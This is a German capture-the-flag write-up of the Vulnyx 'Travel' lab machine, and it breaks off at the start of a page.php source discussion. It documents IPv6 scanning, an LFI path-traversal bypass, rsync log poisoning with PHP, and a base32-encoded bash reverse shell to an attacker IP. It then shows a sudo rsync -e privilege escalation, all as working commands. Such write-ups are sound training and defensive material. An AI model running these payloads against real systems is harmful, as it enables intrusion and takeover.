Travel - Vulnyx - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
nikto
curl
dirb
gobuster
ping6
grep
wfuzz
telnet
sed
rsync
base32
nc
find
sudo
ls
cat
sh
ss
ssh-keygen
tldr
socat

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Der `arp-scan -l` Befehl wird verwendet, um aktive Geräte im lokalen Netzwerk zu identifizieren.

**Bewertung:** Ein Host wird auf `192.168.2.123` mit der MAC `08:00:27:bd:57:5f` (PCS Systemtechnik GmbH / VirtualBox) gefunden. Ziel identifiziert.

**Empfehlung (Pentester):** IP `192.168.2.123` für weitere Scans nutzen.
**Empfehlung (Admin):** Standard-Netzwerk-Discovery.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.123	08:00:27:bd:57:5f	PCS Systemtechnik GmbH

**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um `192.168.2.123` den Hostnamen `travel.nyx` zuzuordnen.

**Bewertung:** Sinnvolle Maßnahme zur Vereinfachung und Vorbereitung auf vHost-Scanning.

**Empfehlung (Pentester):** Hostnamen `travel.nyx` bei Web-Interaktionen verwenden.
**Empfehlung (Admin):** Lokale Änderung auf Angreiferseite.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.123   travel.nyx

**Analyse:** Ein schneller Nmap SYN-Scan (`-sS`) mit Standard-Skripten (`-sC`), Versionserkennung (`-sV`), aggressiven Optionen (`-A`) über alle Ports (`-p-`) und hoher Rate (`--min-rate 5000`) wird gegen die IPv4-Adresse durchgeführt. Die Ausgabe wird gefiltert (`grep open`).

**Bewertung:** Nur Port `80/tcp (http)` mit Apache httpd 2.4.56 (Debian) wird auf der IPv4-Adresse als offen identifiziert. Die Angriffsfläche scheint sehr begrenzt.

**Empfehlung (Pentester):** Webserver untersuchen. Da nur Port 80 offen ist, IPv6-Scanning durchführen, um versteckte Dienste zu finden.
**Empfehlung (Admin):** Überprüfen, ob nur Port 80 offen sein muss. Apache aktuell halten.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.123 -Pn --min-rate 5000 | grep open
80/tcp open  http    Apache httpd 2.4.56 ((Debian))

**Analyse:** Ein Nmap-Scan (`-v` für Verbosity) wird über IPv6 (`-6`) gegen die Link-Local-Adresse des Ziels (`fe80::a00:27ff:febd:575f`) durchgeführt. Die Link-Local-Adresse wurde vermutlich aus der MAC-Adresse abgeleitet oder durch vorheriges `ping6` entdeckt.

**Bewertung:** Dieser Scan ist **entscheidend**. Er findet nicht nur Port `80/tcp (http)`, sondern auch Port `873/tcp (rsync)` als offen. Der rsync-Dienst ist nur über IPv6 erreichbar.

**Empfehlung (Pentester):** Den rsync-Dienst auf der IPv6-Adresse genauer untersuchen. Prüfen, ob anonyme Verbindungen möglich sind, welche Module angeboten werden und ob Schreibrechte vorhanden sind. Parallel den Webserver weiter untersuchen.
**Empfehlung (Admin):** Absicherung von Diensten über IPv6 sicherstellen. Rsync-Dienst prüfen: Ist er notwendig? Wenn ja, sicher konfigurieren (Authentifizierung, Zugriffsbeschränkung auf Module/Pfade, ggf. nur lesend).

┌──(root㉿CCat)-[~] └─# nmap fe80::a00:27ff:febd:575f -6 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 23:18 CEST
Initiating ND Ping Scan at 23:18
Scanning fe80::a00:27ff:febd:575f [1 port]
Completed ND Ping Scan at 23:18, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:18
Completed Parallel DNS resolution of 1 host. at 23:18, 0.01s elapsed
Initiating SYN Stealth Scan at 23:18
Scanning travel (fe80::a00:27ff:febd:575f) [1000 ports]
Discovered open port 80/tcp on fe80::a00:27ff:febd:575f
Discovered open port 873/tcp on fe80::a00:27ff:febd:575f
Completed SYN Stealth Scan at 23:18, 0.08s elapsed (1000 total ports)
Nmap scan report for travel (fe80::a00:27ff:febd:575f)
Host is up (0.00019s latency).
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE
80/tcp  open  http
873/tcp open  rsync

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

Web Enumeration

**Analyse:** Nikto scannt den Webserver auf Port 80 (IPv4).

**Bewertung:** Bestätigt Apache/2.4.56. Meldet fehlende Header (`X-Frame-Options`, `X-Content-Type-Options`) und ETag-Leak. Standard-HTTP-Methoden sind erlaubt. Keine kritischen Funde durch Nikto.

**Empfehlung (Pentester):** Header-Infos notieren. Fokus auf tiefere Web-Enumeration und den rsync-Dienst legen.
**Empfehlung (Admin):** Fehlende Security-Header hinzufügen. ETag-Konfiguration prüfen.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.123
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.123
+ Target Hostname:    192.168.2.123
+ Target Port:        80
+ Start Time:         2024-08-27 23:20:01 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 7c6, size: 603a6a4b55814, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-08-27 23:20:19 (GMT2) (18 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Gobuster scannt die IPv4-Adresse mit einer mittelgroßen Wortliste und vielen Erweiterungen nach Web-Inhalten.

**Bewertung:** Findet `/index.html` und, interessanterweise, `/page.php` (beide Status 200, Size 13). Die geringe Größe von `page.php` (13 Bytes) ist auffällig.

**Empfehlung (Pentester):** Die Datei `page.php` genauer untersuchen. Ihre geringe Größe könnte auf eine einfache Include-Funktion oder eine andere Art von Schwachstelle hindeuten. Mit `wfuzz` oder Burp Intruder nach Parametern für `page.php` suchen.
**Empfehlung (Admin):** Die Funktion und Sicherheit von `page.php` überprüfen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.123" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://192.168.2.123
[...]
===============================================================
2024/08/27 23:21:05 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.123/index.html           (Status: 200) [Size: 1990]
http://192.168.2.123/page.php             (Status: 200) [Size: 13]

===============================================================
2024/08/27 23:23:55 Finished
===============================================================

**Analyse:** `wfuzz` wird verwendet, um den Parameter `i` in `page.php` auf Local File Inclusion (LFI) zu testen. Es wird eine Fuzzing-Liste (`UnixAttacks.fuzzdb.txt`) verwendet, die typische LFI-Payloads enthält. Antworten mit Größe 13 (Standardgröße von `page.php`) werden ignoriert.

**Bewertung:** Erfolg! Mehrere Payloads (z.B. `....//....//....//....//etc/passwd`) führen zu einer Antwort mit Status 200 und einer anderen Größe (1493 Chars), was stark auf eine LFI-Schwachstelle im Parameter `i` hindeutet.

**Empfehlung (Pentester):** Die LFI mit `curl` oder im Browser bestätigen (`curl "http://192.168.2.123/page.php?i=....//....//....//....//etc/passwd"`). Die LFI nutzen, um sensible Dateien zu lesen (Konfigurationsdateien, Quellcode, Logdateien, SSH-Keys etc.).
**Empfehlung (Admin):** Die LFI-Schwachstelle im Parameter `i` von `page.php` sofort beheben! Benutzereingaben niemals direkt in `include` oder ähnliche Funktionen einbauen. Path-Traversal-Filter implementieren.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Fuzzing/UnixAttacks.fuzzdb.txt -u "http://192.168.2.123/page.php?i=FUZZ" --hc 404 --hh 13
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.123/page.php?i=FUZZ
Total requests: 522

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000010:   200        30 L     42 W       1493 Ch     "....//....//....//....//etc/passwd"
000000011:   200        30 L     42 W       1493 Ch     "....//....//....//....//....//....//....//etc/passwd"
000000009:   200        30 L     42 W       1493 Ch     "//....//....//....//....//....//....//etc/passwd"
[...]

Total time: 0.5s
Processed Requests: 522
Filtered Requests: 519
Requests/sec.: 1044.0

Initial Access

**Analyse:** Die LFI-Schwachstelle wird mit `curl` genutzt, um den Inhalt von `/etc/passwd` auszulesen. Anschließend wird die Ausgabe mit `grep bash` gefiltert, um Benutzer mit einer Bash-Shell zu identifizieren.

**Bewertung:** Die LFI funktioniert wie erwartet und `/etc/passwd` wird angezeigt. Die Benutzer `root`, `PL4GU3` (UID 1000) und `ethicrash2` (UID 1001) haben eine Bash-Shell.

**Empfehlung (Pentester):** Die Benutzer `PL4GU3` und `ethicrash2` als potenzielle Ziele für Brute-Force oder weitere Angriffe notieren. Die LFI weiter nutzen, um andere interessante Dateien zu finden.
**Empfehlung (Admin):** LFI beheben.

┌──(root㉿CCat)-[~] └─# curl "http://192.168.2.123/page.php?i=....//....//....//....//etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
PL4GU3:x:1000:1000::/home/PL4GU3:/bin/bash
ethicrash2:x:1001:1001::/home/ethicrash2:/bin/bash
xrdp:x:106:113::/run/xrdp:/usr/sbin/nologin
┌──(root㉿CCat)-[~] └─# curl "http://192.168.2.123/page.php?i=....//....//....//....//etc/passwd" -s | grep bash
root:x:0:0:root:/root:/bin/bash
PL4GU3:x:1000:1000::/home/PL4GU3:/bin/bash
ethicrash2:x:1001:1001::/home/ethicrash2:/bin/bash

**Analyse:** `wfuzz` wird mit einer Liste von Logdateien (`logfiles.txt`) verwendet, um über die LFI nach lesbaren Logdateien zu suchen.

**Bewertung:** Es werden zahlreiche Systemdateien und Logdateien gefunden, die über die LFI lesbar sind, darunter `/etc/group`, `/etc/hosts`, `/etc/fstab`, `/proc/self/cmdline`, `/etc/crontab`, `/etc/issue`, `/proc/version`, `/etc/ssh/sshd_config`, `/var/log/wtmp`, `/var/log/lastlog`. Dies zeigt, dass die LFI sehr weitreichenden Lesezugriff erlaubt.

**Empfehlung (Pentester):** Die gefundenen Dateien (insbesondere `/etc/crontab`, `/etc/ssh/sshd_config`, `/etc/issue`) auf interessante Informationen prüfen. Der nächste Schritt im Bericht fokussiert sich auf `/etc/issue` und `/proc/net/if_inet6`.

**Empfehlung (Admin):** LFI beheben. Sicherstellen, dass Dateiberechtigungen korrekt gesetzt sind (obwohl LFI diese oft umgeht).

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://192.168.2.123/page.php?i=....//....//....//..../FUZZ" --hc 404 --hh 13
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.123/page.php?i=....//....//....//..../FUZZ
Total requests: 2894

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        30 L     42 W       1493 Ch     "/etc/passwd"
000001108:   200        57 L     57 W       734 Ch      "/etc/group"
000001089:   200        9 L      24 W       199 Ch      "/etc/hosts"
000001092:   200        17 L     111 W      819 Ch      "/etc/fstab"
000001277:   200        2 L      2 W        40 Ch       "/proc/self/cmdline"
000001301:   200        3 L      6 W        110 Ch      "/proc/cmdline"
000001298:   200        24 L     192 W      1055 Ch     "/etc/crontab"
000001296:   200        22 L     80 W       775 Ch      "/etc/issue"
000001300:   200        3 L      23 W       198 Ch      "/proc/version"
000001279:   200        58 L     138 W      1343 Ch     "/proc/self/status"
000001278:   200        3 L      54 W       332 Ch      "/proc/self/stat"
000001322:   200        2 L      2 W        1165 Ch     "/var/run/utmp"
000001321:   200        22 L     109 W      57601 Ch    "/var/log/wtmp"
000001311:   200        125 L    398 W      3299 Ch     "/etc/ssh/sshd_config"
000001320:   200        2 L      2 W        292597 Ch   "/var/log/lastlog"

Total time: 1.905260s
Processed Requests: 2894
Filtered Requests: 2879
Requests/sec.: 1518.952

**Analyse:** Die Datei `/etc/issue`, die oft beim Login angezeigt wird, wird über LFI ausgelesen.

**Bewertung:** Die Datei enthält ein großes ASCII-Art-Banner mit "TRAVEL" und Platzhaltern für VM-Name und IP-Adresse. Keine direkt verwertbaren technischen Informationen.

**Empfehlung (Pentester):** Interessant, aber nicht für den Exploit relevant.
**Empfehlung (Admin):** `/etc/issue` kann angepasst werden, sollte aber keine sensiblen Daten enthalten.

┌──(root㉿CCat)-[~] └─# curl "http://192.168.2.123/page.php?i=....//....//....//....//etc/issue"

888     888          888 888b    888
888     888          888 8888b   888
888     888          888 88888b  888
Y88b   d88P 888  888 888 888Y88b 888 888  888 888  888
 Y88b d88P  888  888 888 888 Y88b888 888  888 `Y8bd8P'
  Y88o88P   888  888 888 888  Y88888 888  888   X88K
   Y888P    Y88b 888 888 888   Y8888 Y88b 888 .d8""8b.
    Y8P      "Y88888 888 888    Y888  "Y88888 888  888
                                          888
                                     Y8b d88P
                                      "Y88P"

VM Name: \n
IP Address: \4

**Analyse:** Die Datei `/proc/net/if_inet6`, die Informationen über IPv6-Netzwerkschnittstellen enthält, wird über LFI ausgelesen.

**Bewertung:** Die Ausgabe bestätigt die Link-Local-Adresse (`fe80...0a0027fffebd575f`) für das Interface `enp0s3` und eine globale IPv6-Adresse (`2003:d4:c717:1d86:a00:27ff:febd:575f`). Die globale Adresse könnte für externe Konnektivität relevant sein, aber hier fokussieren wir uns auf das lokale Netzwerk.

**Empfehlung (Pentester):** Die IPv6-Adressen notieren. Der Fokus bleibt auf der Link-Local-Adresse für den Zugriff auf den rsync-Dienst.
**Empfehlung (Admin):** Globale IPv6-Adressen sollten nur vergeben werden, wenn externe IPv6-Konnektivität benötigt und abgesichert ist.

┌──(root㉿CCat)-[~] └─# curl "http://192.168.2.123/page.php?i=....//....//....//....//proc/net/if_inet6"
fe800000000000000a0027fffebd575f 02 40 20 80   enp0s3
200300d4c7171d860a0027fffebd575f 02 40 00 00   enp0s3
00000000000000000000000000000001 01 80 10 80       lo

**Analyse:** Ein Nmap-Scan wird erneut gegen die IPv6-Link-Local-Adresse durchgeführt.

**Bewertung:** Bestätigt erneut die offenen Ports 80 (http) und 873 (rsync) über IPv6.

**Empfehlung (Pentester):** Mit der Untersuchung von rsync fortfahren.
**Empfehlung (Admin):** Keine neuen Erkenntnisse.

┌──(root㉿CCat)-[~] └─# nmap fe80::a00:27ff:febd:575f -6 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 23:58 CEST
Initiating ND Ping Scan at 23:58
Scanning fe80::a00:27ff:febd:575f [1 port]
Completed ND Ping Scan at 23:58, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:58
Completed Parallel DNS resolution of 1 host. at 23:58, 0.01s elapsed
Initiating SYN Stealth Scan at 23:58
Scanning travel (fe80::a00:27ff:febd:575f) [1000 ports]
Discovered open port 80/tcp on fe80::a00:27ff:febd:575f
Discovered open port 873/tcp on fe80::a00:27ff:febd:575f
Completed SYN Stealth Scan at 23:58, 0.07s elapsed (1000 total ports)
Nmap scan report for travel (fe80::a00:27ff:febd:575f)
Host is up (0.00030s latency).
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE
80/tcp  open  http
873/tcp open  rsync
MAC Address: 08:00:27:BD:57:5F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

**Analyse:** Mit `telnet` wird eine Verbindung zum rsync-Dienst auf Port 873 über die IPv6-Link-Local-Adresse hergestellt.

**Bewertung:** Die Verbindung ist erfolgreich (`Connected to ...`). Der rsync-Daemon antwortet mit seiner Version: `@RSYNCD: 31.0`. Dies bestätigt, dass der Dienst läuft und ansprechbar ist.

**Empfehlung (Pentester):** Die `rsync`-Konfigurationsdatei suchen (oft `/etc/rsyncd.conf`) und über LFI auslesen, um die verfügbaren Module und deren Einstellungen (Pfade, Berechtigungen) zu erfahren.
**Empfehlung (Admin):** Rsync-Dienst absichern oder deaktivieren.

┌──(root㉿CCat)-[~] └─# telnet -6 fe80::a00:27ff:febd:575f%eth0 873
Trying fe80::a00:27ff:febd:575f%eth0...
Connected to fe80::a00:27ff:febd:575f%eth0.
Escape character is '^]'.
@RSYNCD: 31.0

**Analyse:** Die rsync-Konfigurationsdatei `/etc/rsyncd.conf` wird über die LFI-Schwachstelle ausgelesen.

**Bewertung:** Wichtiger Fund! Die Konfiguration zeigt: * Logdatei: `/var/log/748e62ababa4f1ce54b8970d08ad3eb0.log` (ein ungewöhnlicher, MD5-ähnlicher Name). * Ein Modul namens `[rsyncserve]`. * Pfad des Moduls: `/opt/rsyncserve/`. * Läuft als `uid = 0` und `gid = 0` (also root!). * Nur Lesezugriff (`read only = yes`). * Auflisten der Module ist deaktiviert (`list = no`).

**Empfehlung (Pentester):** Da das Auflisten deaktiviert ist, muss der Modulname (`rsyncserve`) direkt verwendet werden. Obwohl es `read only` ist, könnte es eine Möglichkeit geben, Fehler zu provozieren, die in die Logdatei geschrieben werden. Die Logdatei `/var/log/748e62ababa4f1ce54b8970d08ad3eb0.log` über LFI lesen. Wenn rsync-Fehler (z.B. ungültige Modulnamen) dort protokolliert werden, könnte dies ein Log-Poisoning-Vektor sein, um Code in die Logdatei zu schreiben und diesen dann über die LFI auszuführen (`page.php?i=....//....//var/log/748e62ababa4f1ce54b8970d08ad3eb0.log`).
**Empfehlung (Admin):** Rsync niemals als root laufen lassen! Immer dedizierte Benutzer mit minimalen Rechten verwenden. Die Notwendigkeit des Dienstes prüfen. LFI beheben.

┌──(root㉿CCat)-[~] └─# curl "http://192.168.2.123/page.php?i=....//....//....//....//etc/rsyncd.conf"
motd file = /etc/Rsyncd.motd
lock file = /var/run/Rsync.lock
log file = /var/log/748e62ababa4f1ce54b8970d08ad3eb0.log
pid file = /var/run/Rsyncd.pid
[rsyncserve]
path = /opt/rsyncserve/
comment = Remote file share.
uid = 0
gid = 0
read only = yes
list = no

**Analyse:** Die IPv6-Informationen werden erneut über LFI abgerufen. Anschließend wird mit `sed` versucht, die lange IPv6-Adresse in ein Standardformat mit Doppelpunkten zu bringen.

**Bewertung:** Der `sed`-Befehl formatiert die Adresse korrekt. Dies dient der besseren Lesbarkeit und Verwendung in Tools, die das Standardformat erwarten.

**Empfehlung (Pentester):** Die formatierte Adresse `fe80::a00:27ff:febd:575f` verwenden.
**Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# curl "http://192.168.2.123/page.php?i=....//....//....//....//proc/net/if_inet6"
fe800000000000000a0027fffebd575f 02 40 20 80   enp0s3
200300d4c7171d860a0027fffebd575f 02 40 00 00   enp0s3
00000000000000000000000000000001 01 80 10 80       lo
┌──(root㉿CCat)-[~] └─# echo fe800000000000000a0027fffebd575f|sed 's/..../\&:/g'
fe80:0000:0000:0000:0a00:27ff:febd:575f:

**Analyse:** Es wird versucht, den Inhalt des rsync-Moduls `rsyncserve` aufzulisten.

**Bewertung:** Der Befehl `rsync -av --list-only rsync://[fe80::a00:27ff:febd:575f%eth0]:873/rsyncserve/` funktioniert und zeigt nur das Wurzelverzeichnis `.` an. Das Modul scheint leer zu sein oder die Berechtigungen erlauben keine tiefere Auflistung, obwohl die Verbindung selbst klappt.

**Empfehlung (Pentester):** Da das Modul leer ist und nur Lesezugriff besteht, ist der direkte Angriff auf rsync unwahrscheinlich. Der Fokus sollte auf dem Log-Poisoning-Vektor liegen.
**Empfehlung (Admin):** Rsync-Konfiguration überprüfen.

┌──(root㉿CCat)-[~] └─# rsync -av --list-only rsync://[fe80::a00:27ff:febd:575f%eth0]:873/rsyncserve/
receiving incremental file list
drwxr-xr-x          4,096 2023/08/24 10:34:36 .

sent 20 bytes  received 41 bytes  122.00 bytes/sec
total size is 0  speedup is 0.00

**Analyse:** Es wird versucht, PHP-Code (``) als Modulnamen an den rsync-Server zu senden, in der Hoffnung, dass dieser ungültige Modulname in der Logdatei landet.

**Bewertung:** Der rsync-Client meldet korrekt `@ERROR: Unknown module ''`. Dies bestätigt, dass der ungültige Modulname (inklusive des PHP-Codes) vom Server verarbeitet und sehr wahrscheinlich geloggt wurde.

**Empfehlung (Pentester):** Nun die Logdatei (`/var/log/748e62ababa4f1ce54b8970d08ad3eb0.log`) über die LFI aufrufen (`page.php?i=....//....//var/log/...log`), um zu sehen, ob der PHP-Code ausgeführt wird.
**Empfehlung (Admin):** Rsync-Logging überprüfen und sicherstellen, dass keine Benutzereingaben ungefiltert geloggt werden, die später von anderen Anwendungen interpretiert werden könnten. LFI beheben.

┌──(root㉿CCat)-[~] └─# rsync -v '[fe80::a00:27ff:febd:575f%eth0]'''
opening connection using: ssh -l root fe80::a00:27ff:febd:575f rsync --server --daemon .
@ERROR: Unknown module ''
rsync error: error starting client-server protocol (code 5) at main.c(1850) [Receiver=3.3.0]

**Analyse:** Ein komplexerer Payload wird vorbereitet. Eine Bash-Reverse-Shell (`bash -i >& /dev/tcp/192.168.2.199/4466 0>&1`) wird Base32-kodiert. Der resultierende Base32-String wird dann in einen PHP-Code eingebettet, der ihn dekodiert und über eine Pipe an `bash` weiterleitet (``). Dieser gesamte PHP-Payload wird als ungültiger Modulname an rsync gesendet.

**Bewertung:** Dies ist eine clevere Methode, um die Reverse-Shell-Payload in die Logdatei zu injizieren. Base32 wird verwendet, um Sonderzeichen zu vermeiden, die den rsync-Fehler oder das Logging stören könnten. Der rsync-Fehler `Unknown module ...` wird wie erwartet ausgelöst.

**Empfehlung (Pentester):** Einen Netcat-Listener auf Port 4466 starten. Anschließend die rsync-Logdatei über die LFI aufrufen (`curl http://192.168.2.123/page.php?i=....//....//....//var/log/748e62ababa4f1ce54b8970d08ad3eb0.log`). Dies sollte den injizierten PHP-Code ausführen, die Reverse-Shell dekodieren und starten.
**Empfehlung (Admin):** LFI beheben. Rsync-Konfiguration und Logging sichern.

┌──(root㉿CCat)-[~] └─# echo 'bash -i >& /dev/tcp/192.168.2.199/4466 0>&1' | base32
MJQXG2BAFVUSAPRGEAXWIZLWF52GG4BPGE4TELRRGY4C4MRGE4TSLZUGQ3DMIBQHYTDCCQ=
┌──(root㉿CCat)-[~] └─# rsync -v '[fe80::a00:27ff:febd:575f%eth0]'''
opening connection using: ssh -l root fe80::a00:27ff:febd:575f rsync --server --daemon .
@ERROR: Unknown module ''
rsync error: error starting client-server protocol (code 5) at main.c(1850) [Receiver=3.3.0]

**Analyse:** Der Exploit wird ausgelöst: 1. Die rsync-Logdatei wird über die LFI mit `curl` aufgerufen. 2. Parallel wird ein Netcat-Listener auf Port 4466 gestartet.

**Bewertung:** Erfolg! Der `curl`-Aufruf der Logdatei führt den injizierten PHP-Code aus. Der Base32-String wird dekodiert und der Reverse-Shell-Befehl an `bash` übergeben. Der Listener empfängt die Verbindung vom Ziel, und der Angreifer erhält eine Shell als `www-data`. Der initiale Zugriff ist geschafft.

**Empfehlung (Pentester):** Shell stabilisieren. Mit der Enumeration als `www-data` beginnen.
**Empfehlung (Admin):** LFI beheben. Rsync absichern.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.123/page.php?i=....//....//....//var/log/748e62ababa4f1ce54b8970d08ad3eb0.log
[...]
┌──(root㉿CCat)-[~] └─# nc -lvnp 4466
listening on [any] 4466 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.123] 53630
bash: cannot set terminal process group (461): Inappropriate ioctl for device
bash: no job control in this shell
www-data@travel:/var/www/html$

Privilege Escalation

**Analyse:** Die erhaltene `www-data`-Shell wird enumeriert: Suche nach SUID-Dateien und Prüfung der `sudo`-Rechte.

**Bewertung:** * **SUID:** Findet Standard-Binaries, nichts Ungewöhnliches außer vielleicht `/usr/lib/xorg/Xorg.wrap`. * **sudo -l:** Zeigt, dass `www-data` den Befehl `/usr/bin/rsync` als Benutzer `PL4GU3` ohne Passwort (`NOPASSWD:`) ausführen darf. Dies ist ein klarer Weg zur horizontalen Privilegienerweiterung zu `PL4GU3`.

**Empfehlung (Pentester):** Die `sudo`-Regel für `rsync` ausnutzen, um eine Shell als `PL4GU3` zu erhalten. GTFOBins listet hierfür einen bekannten Trick (`rsync -e 'sh -c "sh <&2 1>&2"'`).
**Empfehlung (Admin):** Die `sudo`-Regel für `rsync` ist gefährlich und sollte entfernt werden. `www-data` sollte keine Befehle als andere Benutzer ausführen müssen.

www-data@travel:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   263828     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   259697     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   307845    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   259701     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   308399     36 -rwsr-xr-x   1 root     root        34896 Feb 26  2021 /usr/bin/fusermount
   263292     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   310126     16 -rwsr-sr-x   1 root     root        14608 Mar 23  2023 /usr/lib/xorg/Xorg.wrap
   273849    472 -rwsr-xr-x   1 root     root       481608 Jul  2  2022 /usr/lib/openssh/ssh-keysign
   264755     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
www-data@travel:/var/www/html$ sudo -l
Matching Defaults entries for www-data on travel:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on travel:
    (PL4GU3) NOPASSWD: /usr/bin/rsync

**Analyse:** Das Home-Verzeichnis wird aufgelistet, die Benutzer `PL4GU3` und `ethicrash2` werden bestätigt. Der GTFOBins-Exploit für `sudo rsync` wird ausgeführt: `sudo -u PL4GU3 rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null`.

**Bewertung:** Erfolg! Der Befehl nutzt die `-e` Option von rsync, um einen Shell-Befehl anzugeben, der für die Verbindung verwendet wird. Der Befehl `sh -c "sh 0<&2 1>&2"` startet effektiv eine interaktive Shell. Da `rsync` via `sudo -u PL4GU3` ausgeführt wird, läuft diese Shell als Benutzer `PL4GU3`. Der `id`-Befehl bestätigt `uid=1000(PL4GU3)`.

**Empfehlung (Pentester):** Nun als `PL4GU3` weiter enumerieren. Home-Verzeichnis (`ls -la`, `.ssh`?) untersuchen, `sudo -l` erneut prüfen, Netzwerkverbindungen (`ss`) prüfen.
**Empfehlung (Admin):** `sudo`-Regel für `rsync` entfernen.

www-data@travel:/var/www/html$ ls /home/
PL4GU3	ethicrash2
www-data@travel:/var/www/html$ sudo -u PL4GU3 rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
$ id
uid=1000(PL4GU3) gid=1000(PL4GU3) groups=1000(PL4GU3)
$

                 

**Analyse:** Der Quellcode von `page.php` (die Datei mit der LFI) wird angezeigt. Er enthält eine Blacklist-Filterung für den Parameter `i`, bevor er in `include` verwendet wird.

